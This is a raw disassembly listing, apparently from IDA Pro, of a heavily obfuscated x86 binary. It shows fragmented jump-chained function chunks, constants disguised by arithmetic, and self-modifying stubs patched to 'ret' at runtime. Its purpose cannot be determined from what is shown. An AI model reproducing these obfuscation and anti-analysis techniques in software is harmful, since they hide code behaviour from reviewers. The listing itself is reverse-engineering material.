loc_452D60:				; CODE XREF: sub_439CB7:loc_4404B9j
		rol	esi, 17h
		sub	esi, 0B8BE9974h
		push	offset sub_4491B3
		jmp	loc_44E3DF
; END OF FUNCTION CHUNK	FOR sub_439CB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449222

loc_452D73:				; CODE XREF: sub_449222-6FC6j
		jns	loc_451A61

loc_452D79:				; CODE XREF: sub_4535DC+11j
		jmp	loc_4588F3
; END OF FUNCTION CHUNK	FOR sub_449222
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_452D7E:				; CODE XREF: sub_4492F0+9CAj
		jmp	loc_43C787
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FF4E

loc_452D83:				; CODE XREF: sub_43FF4E+1Dj
		jmp	nullsub_160
; END OF FUNCTION CHUNK	FOR sub_43FF4E
; ---------------------------------------------------------------------------
		mov	[edi], esi
		jmp	loc_451A5D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_154. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		sub	edx, 143464E4h
		jmp	loc_44443D

; =============== S U B	R O U T	I N E =======================================



sub_452D9B	proc near		; CODE XREF: sub_454AAA-121C9p
					; dviuq5id:0044E1B5j

; FUNCTION CHUNK AT 004397F2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043B920 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C081 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043E5F6 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00440A5B SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00443260 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0044BD46 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C519 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044F1BB SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0045114C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00454A41 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00454F90 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004561F7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00458103 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00458115 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	3B09ACDDh
		pop	esi
		jmp	loc_443260
sub_452D9B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CCEE

loc_452DAA:				; CODE XREF: sub_44CCEE+20C3j
		and	edi, 6D7E8292h
		pushf
		and	ebp, ebx

loc_452DB3:				; CODE XREF: sub_44CCEE:loc_43E1C7j
		push	1A89F8A4h
		jmp	loc_44CED6
; END OF FUNCTION CHUNK	FOR sub_44CCEE
; ---------------------------------------------------------------------------

loc_452DBD:				; CODE XREF: dviuq5id:0043B1A7j
		jnb	loc_4515E6
		mov	edx, edi
		not	esi
		jmp	loc_44C5E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446682

loc_452DCC:				; CODE XREF: sub_44AB80:loc_445A0Aj
					; sub_446682:loc_455E6Ej
		call	nullsub_21
		push	0DF2B4D9Dh
		pop	eax
		and	eax, 0F8CB0AEBh
		or	eax, 0F89F7D7Fh
		sub	eax, 0CC8586E3h
		test	eax, 10000000h
		jmp	loc_44A37F
; END OF FUNCTION CHUNK	FOR sub_446682
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44514D

loc_452DF4:				; CODE XREF: sub_44514D:loc_444ECEj
		jge	loc_4509E2
		test	edx, 43A41EADh
		jmp	loc_44A529
; END OF FUNCTION CHUNK	FOR sub_44514D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45169D

loc_452E05:				; CODE XREF: sub_45169D:loc_44D51Cj
		jz	loc_441B80
		jmp	loc_43A582
; END OF FUNCTION CHUNK	FOR sub_45169D
; ---------------------------------------------------------------------------
		mov	eax, 0D92DF30h
		jmp	loc_44FD20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FFA5

loc_452E1A:				; CODE XREF: sub_44FFA5+17j
		add	esi, 0E1F52C11h
		push	offset loc_44856B
		jmp	nullsub_496
; END OF FUNCTION CHUNK	FOR sub_44FFA5

; =============== S U B	R O U T	I N E =======================================



sub_452E2A	proc near		; CODE XREF: sub_4427AE-3FB7p
					; dviuq5id:0043E99Ej

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00439E59 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A679 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044C706 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00452FB0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004552AD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045817F SIZE 0000000E BYTES

		xchg	eax, [esp-4+arg_0]
		pop	eax
		mov	ebx, [ebx]
		xchg	ebx, [esp+0]
		call	eax
		push	ebx
		jmp	loc_452FB0
sub_452E2A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_452E3B:				; CODE XREF: dviuq5id:loc_447780j
		rol	edx, 19h
		sub	edx, 615AEB2h
		add	edx, 44139ABBh
		or	edx, 210A3E6Fh
		jmp	loc_449BF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ECF4

loc_452E55:				; CODE XREF: sub_43ECF4+154D5j
		add	eax, 4C28C356h
		mov	eax, [eax]
		push	offset loc_444114
		jmp	nullsub_406
; END OF FUNCTION CHUNK	FOR sub_43ECF4

; =============== S U B	R O U T	I N E =======================================



sub_452E67	proc near		; CODE XREF: sub_43F4F8+3C1j
					; dviuq5id:0044AEB6j ...

arg_4		= dword	ptr  8

		xchg	edi, [esp+0]
		pop	edi
		adc	edx, [esp-4+arg_4]
		add	esp, 8
		push	offset sub_43FFD9
		jmp	nullsub_161
sub_452E67	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_452E7C:				; CODE XREF: dviuq5id:0044B982j
		and	edx, 33E41D99h

; =============== S U B	R O U T	I N E =======================================



sub_452E82	proc near		; CODE XREF: dviuq5id:loc_457C74p

arg_0		= dword	ptr  4

		xchg	edi, [esp+0]
		pop	edi
		mov	esp, ebp
		xchg	edx, [esp-4+arg_0]
		mov	ebp, edx
		pop	edx
		retn
sub_452E82	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_452E8F:				; CODE XREF: dviuq5id:0044FB1Bj
		jmp	loc_444821
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F77C

loc_452E94:				; CODE XREF: sub_43F77C+Aj
		jmp	loc_44ACE4
; END OF FUNCTION CHUNK	FOR sub_43F77C
; ---------------------------------------------------------------------------

loc_452E99:				; CODE XREF: dviuq5id:004479E3j
		jl	loc_43B09F
; START	OF FUNCTION CHUNK FOR sub_44ABE0

loc_452E9F:				; CODE XREF: sub_44ABE0:loc_4479CAj
					; sub_43B3A0:loc_44C941j
		call	sub_44EF5E
; END OF FUNCTION CHUNK	FOR sub_44ABE0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_138. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A2CC

loc_452EA5:				; CODE XREF: sub_44A2CC:loc_451D9Ej
		jz	loc_4486D6

loc_452EAB:				; CODE XREF: dviuq5id:004400BEj
		jmp	loc_43AA2A
; END OF FUNCTION CHUNK	FOR sub_44A2CC
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+0]
		jmp	loc_4486D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454228

loc_452EB8:				; CODE XREF: sub_454228-133C0j
		shr	esi, 19h
; END OF FUNCTION CHUNK	FOR sub_454228
; START	OF FUNCTION CHUNK FOR sub_446465

loc_452EBB:				; CODE XREF: sub_446465:loc_440E4Fj
		rol	ebx, 4
		add	ebx, 604A89A7h
		mov	[ebx], eax
		pop	ebx
		lea	eax, nullsub_17
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_17
; END OF FUNCTION CHUNK	FOR sub_446465
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_452ED5:				; CODE XREF: sub_4492F0:loc_4492FBj
		jz	loc_444228
		jmp	loc_44A925
; END OF FUNCTION CHUNK	FOR sub_4492F0

; =============== S U B	R O U T	I N E =======================================



sub_452EE0	proc near		; DATA XREF: sub_452573+1o
		xchg	edx, [esp+0]
		jmp	loc_44BC7E
sub_452EE0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E10E

loc_452EE8:				; CODE XREF: sub_43E10E+447Aj
		jb	loc_4579C6
		adc	eax, edx
		jmp	loc_4400DB
; END OF FUNCTION CHUNK	FOR sub_43E10E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D820

loc_452EF5:				; CODE XREF: sub_44D820+4j
		and	eax, 0A6399A5Dh
		mov	eax, [ebx]
		shl	ecx, 5
; END OF FUNCTION CHUNK	FOR sub_44D820
; START	OF FUNCTION CHUNK FOR sub_4547E2

loc_452F00:				; CODE XREF: sub_4547E2:loc_44D017j
		call	sub_44A203

locret_452F05:				; CODE XREF: dviuq5id:loc_454DE9j
		retn
; END OF FUNCTION CHUNK	FOR sub_4547E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_452F06:				; CODE XREF: sub_43CB4C:loc_44F00Bj
		call	sub_43938B
		push	offset sub_43E6A7
		jmp	loc_43D812
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------

loc_452F15:				; DATA XREF: sub_43FAE1+2092o
		xchg	edi, [esp]
		jmp	loc_44B180
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4509F7

loc_452F1D:				; CODE XREF: sub_4509F7+15BFj
		js	loc_4488A2
		push	edi
		shr	edi, 16h
		and	ebp, 209D3D41h
		or	ecx, edi
		jmp	loc_44889F
; END OF FUNCTION CHUNK	FOR sub_4509F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452A73

loc_452F34:				; CODE XREF: sub_452A73:loc_446D93j
		jge	loc_440EB1
		push	edx
		jo	loc_4544D2
		jmp	loc_440EB1
; END OF FUNCTION CHUNK	FOR sub_452A73
; ---------------------------------------------------------------------------

locret_452F46:				; CODE XREF: dviuq5id:0044A3C3j
					; dviuq5id:loc_44A6BEj
		retn
; ---------------------------------------------------------------------------
		or	eax, edx
		jmp	loc_452CF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_452F4E:				; CODE XREF: sub_441DDA:loc_456F91j
		jz	sub_44DDFB
		jmp	loc_43FC28
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DCB4

loc_452F59:				; CODE XREF: sub_43DCB4:loc_448CB8j
		jz	loc_452B46
; END OF FUNCTION CHUNK	FOR sub_43DCB4
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_452F5F:				; CODE XREF: sub_4492F0:loc_43C192j
		jmp	loc_446434
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------

loc_452F64:				; CODE XREF: dviuq5id:loc_43E9A4j
		call	sub_43DE79
		call	sub_452F74
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A5E

loc_452F6F:				; CODE XREF: sub_439A5E+F60Aj
		jmp	loc_440AA6
; END OF FUNCTION CHUNK	FOR sub_439A5E

; =============== S U B	R O U T	I N E =======================================



sub_452F74	proc near		; CODE XREF: dviuq5id:00452F69p

; FUNCTION CHUNK AT 0043B0E5 SIZE 0000000B BYTES

		push	ebp
		jmp	loc_43B0E5
sub_452F74	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4404A6

loc_452F7A:				; CODE XREF: sub_4404A6:loc_456338j
		jnz	loc_4497AF
		jmp	loc_43B111
; END OF FUNCTION CHUNK	FOR sub_4404A6
; ---------------------------------------------------------------------------

loc_452F85:				; CODE XREF: dviuq5id:0044C5C1j
		ja	loc_44ED62
; START	OF FUNCTION CHUNK FOR sub_44C50A

loc_452F8B:				; CODE XREF: sub_44C50A:loc_452A07j
		xor	ecx, 4A7AAE5Fh
		rol	ecx, 16h
		or	ecx, 0DF6B0AB3h
		add	ecx, 20C94055h
		mov	ecx, [ecx]
		or	[ecx+edx], al
		jmp	loc_43CF5E
; END OF FUNCTION CHUNK	FOR sub_44C50A
; ---------------------------------------------------------------------------
		jmp	ds:dword_41D164
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452E2A

loc_452FB0:				; CODE XREF: sub_452E2A+Cj
		jmp	loc_44C706
; END OF FUNCTION CHUNK	FOR sub_452E2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F212

loc_452FB5:				; CODE XREF: sub_44F212+1Dj
		jmp	nullsub_501
; END OF FUNCTION CHUNK	FOR sub_44F212
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E67F

loc_452FBA:				; CODE XREF: sub_44E67F-D6D7j
		jmp	loc_4445A2
; END OF FUNCTION CHUNK	FOR sub_44E67F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45061D

loc_452FBF:				; CODE XREF: sub_45061D-12111j
		jmp	nullsub_164
; END OF FUNCTION CHUNK	FOR sub_45061D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455518

loc_452FC4:				; CODE XREF: sub_455518-1777Ej
		jmp	loc_44BB9A
; END OF FUNCTION CHUNK	FOR sub_455518
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D28E

loc_452FC9:				; CODE XREF: sub_43D28E-896j
		jmp	loc_440C3D
; END OF FUNCTION CHUNK	FOR sub_43D28E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4486F9

loc_452FCE:				; CODE XREF: sub_4486F9-C79Dj
		jmp	sub_44EA28
; END OF FUNCTION CHUNK	FOR sub_4486F9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_17. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446682

loc_452FD4:				; CODE XREF: sub_446682:loc_43FFFFj
		jz	loc_43E2D4
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_43A201
		mov	eax, 0DD1C4F2h

loc_452FE8:				; CODE XREF: dviuq5id:00456457j
		call	sub_453642
		jmp	loc_43E2C0
; END OF FUNCTION CHUNK	FOR sub_446682
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4463B7

loc_452FF2:				; CODE XREF: sub_4463B7-4989j
		jle	loc_44BD41
		cdq
		xor	edi, esi
		jmp	loc_457E71
; END OF FUNCTION CHUNK	FOR sub_4463B7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_291. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_453001:				; CODE XREF: sub_448FC7+58D2j
		jmp	loc_4480A3
; END OF FUNCTION CHUNK	FOR sub_448FC7
; ---------------------------------------------------------------------------

loc_453006:				; DATA XREF: sub_4433BD+9E65o
		mov	edx, [ebp+8]
		mov	[edx-8], eax

loc_45300C:				; CODE XREF: dviuq5id:loc_44009Bj
		jmp	loc_449345
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4433BD

loc_453011:				; CODE XREF: sub_4433BD+4j
		cmp	dword ptr [ebp-10h], 2
		jnz	loc_4422D0
		mov	eax, [ebp+8]
		or	dword ptr [eax-8], 8
		jmp	loc_44F9A1
; END OF FUNCTION CHUNK	FOR sub_4433BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450B01

loc_453027:				; CODE XREF: sub_450B01-E050j
					; sub_458D70+4j
		cmp	dword ptr [ebp-1Ch], 67h
		jmp	loc_43A1D2
; END OF FUNCTION CHUNK	FOR sub_450B01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457566

loc_453030:				; CODE XREF: sub_457566-19B9Dj
		jz	loc_43C94D
		jmp	loc_44621A
; END OF FUNCTION CHUNK	FOR sub_457566
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_45303B:				; CODE XREF: sub_454094:loc_43EFC0j
		jz	loc_4424F6
		jmp	loc_43C803
; END OF FUNCTION CHUNK	FOR sub_454094

; =============== S U B	R O U T	I N E =======================================



sub_453046	proc near		; CODE XREF: sub_44E810:loc_442F12p
					; dviuq5id:0044C5E2j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044BE7A SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	edi, 94A5E1D4h
		xchg	edi, [esp-4+arg_0]
		jmp	loc_44BE7A
sub_453046	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	eax, 0F38AA262h
		jmp	loc_43FAA8
; ---------------------------------------------------------------------------
		adc	ecx, 7BABDE16h
		jmp	sub_45889C
; ---------------------------------------------------------------------------
		retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_468. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4396BB

loc_45306F:				; CODE XREF: sub_4396BB+1B5DDj
		jmp	sub_44E3BA
; END OF FUNCTION CHUNK	FOR sub_4396BB
; ---------------------------------------------------------------------------

loc_453074:				; CODE XREF: dviuq5id:004404CCj
					; dviuq5id:0045740Dj
		push	139EE17Ah
		pop	eax
		xor	eax, ds:4000F6h
		jmp	loc_44E70F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C6B8

loc_453085:				; CODE XREF: sub_44C6B8:loc_452CF2j
		mov	eax, 19CFC62Bh
		call	sub_453642
		mov	ds:dword_41D060, eax
		lea	eax, nullsub_7
		mov	byte ptr [eax],	0C3h
		jmp	loc_4495D8
; END OF FUNCTION CHUNK	FOR sub_44C6B8
; ---------------------------------------------------------------------------

loc_4530A3:				; CODE XREF: dviuq5id:00445CBDj
		pop	edx
		mov	eax, [esp]
		push	esi
		jmp	loc_43934B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_129. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_4530AE:				; CODE XREF: dviuq5id:00458CE4j
		jmp	locret_446B3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454117

loc_4530B3:				; CODE XREF: sub_454117:loc_4510CFj
		pop	edx
		retn
; END OF FUNCTION CHUNK	FOR sub_454117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AB80

loc_4530B5:				; CODE XREF: sub_44AB80+13j
		jmp	loc_43F44F
; END OF FUNCTION CHUNK	FOR sub_44AB80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E99

loc_4530BA:				; CODE XREF: sub_440E99+13j
		jmp	loc_445C21
; END OF FUNCTION CHUNK	FOR sub_440E99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449B5B

loc_4530BF:				; CODE XREF: dviuq5id:00444482j
					; sub_449B5B+B83Aj
		push	46DAD8BFh
		pop	eax
		or	eax, 7B69C116h
		rol	eax, 0Bh
		test	eax, 100h
		jmp	loc_44ADF6
; END OF FUNCTION CHUNK	FOR sub_449B5B

; =============== S U B	R O U T	I N E =======================================



sub_4530D9	proc near		; CODE XREF: sub_44C378:loc_43CD66p
					; sub_43EB11+1AD0Fj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044C7E4 SIZE 0000000E BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xchg	esi, [esp-4+arg_0]

loc_4530E0:				; CODE XREF: dviuq5id:loc_43BBF1j
		mov	eax, edx
		jmp	loc_44C7E4
sub_4530D9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4530E7	proc near		; CODE XREF: dviuq5id:00440D21j
					; sub_439BB2+C13Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043E7D3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004413D4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00444B4A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044C173 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0044EDDB SIZE 00000005 BYTES

		xchg	esi, [esp-8+arg_4]
		pop	esi
		add	eax, [esp+0]
		adc	edx, [esp+4]
		jnz	loc_4413D4
		add	esp, 8
		mov	eax, [eax]
		jmp	loc_43E7D3
sub_4530E7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_453102:				; CODE XREF: dviuq5id:loc_43B692j
		add	ebx, 0BA2AE9B0h
		xchg	ebx, [esp]
		jmp	loc_45348B
; ---------------------------------------------------------------------------
		test	ecx, 6777F288h
		jmp	loc_439B0F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_191. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449B5B

loc_45311C:				; CODE XREF: sub_449B5B+8CB6j
		jmp	sub_43B660
; END OF FUNCTION CHUNK	FOR sub_449B5B
; ---------------------------------------------------------------------------

loc_453121:				; CODE XREF: dviuq5id:0043D585j
		jmp	loc_452513

; =============== S U B	R O U T	I N E =======================================



sub_453126	proc near		; CODE XREF: dviuq5id:00443C17j
					; dviuq5id:004550E3p
		xchg	ecx, [esp+0]
		pop	ecx
		shl	eax, 3
sub_453126	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4510E7

loc_45312D:				; CODE XREF: sub_4510E7-13304j
		mov	edx, [ebp+8]
		or	[edx-8], eax
		jmp	loc_451449
; END OF FUNCTION CHUNK	FOR sub_4510E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_453138:				; CODE XREF: sub_43CB4C:loc_4392D9j
					; sub_43CB4C+12A0j
		push	offset sub_4433BD
		jmp	loc_44EDD1
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------
		mov	edx, 17B3C1CFh
		call	sub_449EB7
		push	edx
		mov	edx, eax
		xchg	edx, [esp]
; START	OF FUNCTION CHUNK FOR sub_451F61

loc_453152:				; CODE XREF: sub_451F61:loc_4468F5j
		ror	eax, 10h
		jmp	loc_44FE9E
; END OF FUNCTION CHUNK	FOR sub_451F61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454117

loc_45315A:				; CODE XREF: sub_454117-7839j
		cmp	ecx, 0CD2DCC23h
		jmp	loc_43F677
; END OF FUNCTION CHUNK	FOR sub_454117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C2F6

loc_453165:				; CODE XREF: sub_44C2F6:loc_439E81j
		rol	eax, 2

loc_453168:				; CODE XREF: sub_4543D3:loc_4406C3j
		push	offset loc_441BE8
		jmp	loc_452A9B
; END OF FUNCTION CHUNK	FOR sub_44C2F6
; ---------------------------------------------------------------------------

loc_453172:				; DATA XREF: sub_44BA8C-BBC6o
		jnz	loc_43F7B8
		call	sub_446439
		or	eax, eax
		jnz	locret_43F7BD
		jmp	loc_456EE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450905

loc_45318A:				; CODE XREF: sub_450905:loc_440DDEj
		mov	eax, edi
		pop	edi
		push	offset sub_443173
		jmp	nullsub_168
; END OF FUNCTION CHUNK	FOR sub_450905
; ---------------------------------------------------------------------------

loc_453197:				; CODE XREF: dviuq5id:0044E7E4j
		push	eax
		pushf
		push	78641DFh
		pop	eax
		xor	eax, 7910B9Eh
		add	eax, 2DB6ADh
		popf
		jmp	loc_446B6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B3A0

loc_4531B1:				; CODE XREF: sub_43B3A0:loc_439A8Bj
					; sub_43B3A0-190Bj
		or	edx, 1DF43A74h
		rol	edx, 7
		add	edx, 0B146DCD8h
		xor	edx, 0B46FFE49h
		add	edx, ebp
		add	edx, 0FBB415FDh
		mov	edx, [edx]
		imul	byte ptr [edx]
		jmp	loc_455D79
; END OF FUNCTION CHUNK	FOR sub_43B3A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440F1B

loc_4531D7:				; CODE XREF: sub_440F1B+Aj
		test	eax, eax
		jz	loc_43FA60
		jmp	loc_4591A0
; END OF FUNCTION CHUNK	FOR sub_440F1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_4531E4:				; CODE XREF: sub_43EB11+1594Fj
		jnz	loc_451BAA
		jmp	loc_444128
; END OF FUNCTION CHUNK	FOR sub_43EB11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4462EC

loc_4531EF:				; CODE XREF: sub_4462EC+Bj
		pop	ebx
		mov	eax, [esp-4+arg_0]
		call	sub_455039
; END OF FUNCTION CHUNK	FOR sub_4462EC
; START	OF FUNCTION CHUNK FOR sub_443A0A

loc_4531F8:				; CODE XREF: sub_443A0A+10E44j
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_443A0A
; ---------------------------------------------------------------------------

loc_4531FD:				; CODE XREF: dviuq5id:00452528j
		jmp	loc_4566F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44097E

loc_453202:				; CODE XREF: sub_44097E+4A98j
		jmp	sub_4597E8
; END OF FUNCTION CHUNK	FOR sub_44097E
; ---------------------------------------------------------------------------

loc_453207:				; CODE XREF: dviuq5id:loc_43AD52j
		rol	ecx, 0Ch
		and	ecx, 2EEFA058h
		rol	ecx, 8
		add	ecx, 9941902Ah
		mov	[ecx], eax
		pop	ecx
		lea	eax, sub_450519
		mov	byte ptr [eax],	0C3h
		jmp	sub_450519
; ---------------------------------------------------------------------------
		mov	ds:off_41D0AC, eax
		lea	eax, sub_446181
		mov	byte ptr [eax],	0C3h
		jmp	loc_44965F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446181

loc_45323E:				; CODE XREF: sub_446181+1j
		mov	eax, [esp+0]

loc_453241:				; CODE XREF: sub_450686-D089j
		push	edx
		mov	edx, esi
		jmp	loc_43A232
; END OF FUNCTION CHUNK	FOR sub_446181
; ---------------------------------------------------------------------------

loc_453249:				; CODE XREF: dviuq5id:004501B7j
		jz	loc_4508EE
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_45324F:				; CODE XREF: sub_43CB4C+124D7j
		jmp	loc_44CD84
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AEAA

loc_453254:				; CODE XREF: sub_43AEAA+Aj
		jmp	loc_44EB6D
; END OF FUNCTION CHUNK	FOR sub_43AEAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_453259:				; CODE XREF: sub_439C09-56Cj
		jmp	loc_44E3D4
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------
		sbb	ecx, 0DDCC08A4h
		adc	eax, 0C3FBE2AEh
		sub	edi, eax
		jmp	loc_4508EB
; ---------------------------------------------------------------------------
		js	loc_449E36
		jmp	loc_457E11

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_45327C	proc near		; CODE XREF: sub_43B660:loc_4461A6p
					; sub_448F69+1p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043A0C7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00444C69 SIZE 0000001A BYTES

		push	esi
		mov	esi, ebp
		xchg	esi, [esp+0]
		mov	ebp, esp
		call	sub_44C528

loc_453289:				; DATA XREF: sub_43F285+23Eo
		mov	edx, 0BB931B55h
		call	sub_449EB7
		push	eax
		ror	eax, 12h
		push	ebp
		mov	ebp, esi
		xchg	ebp, [esp+0]
		jmp	loc_444C69
sub_45327C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_4532A2:				; CODE XREF: sub_44646F+9ACAj
		shl	edi, 0Dh

loc_4532A5:				; CODE XREF: sub_44646F:loc_44FF31j
		xor	edx, 49A2A351h
		add	edx, ebp
		push	esi
		push	83D03E36h
		jmp	loc_43E8B2
; END OF FUNCTION CHUNK	FOR sub_44646F

; =============== S U B	R O U T	I N E =======================================



sub_4532B8	proc near		; DATA XREF: sub_458527:loc_44F06Bo
		push	9BF18E3h
		push	offset loc_440B05
		jmp	nullsub_421
sub_4532B8	endp

; ---------------------------------------------------------------------------

loc_4532C7:				; CODE XREF: dviuq5id:loc_443323j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_4532C8:				; CODE XREF: sub_440898+A461j
		adc	edi, 8C577FA9h
		jnb	loc_43BB92
		sub	edi, 0CA20D8FDh
		mov	[ebx], ebp
		jmp	loc_445B6B
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
		adc	ebp, eax
		jmp	sub_43F013
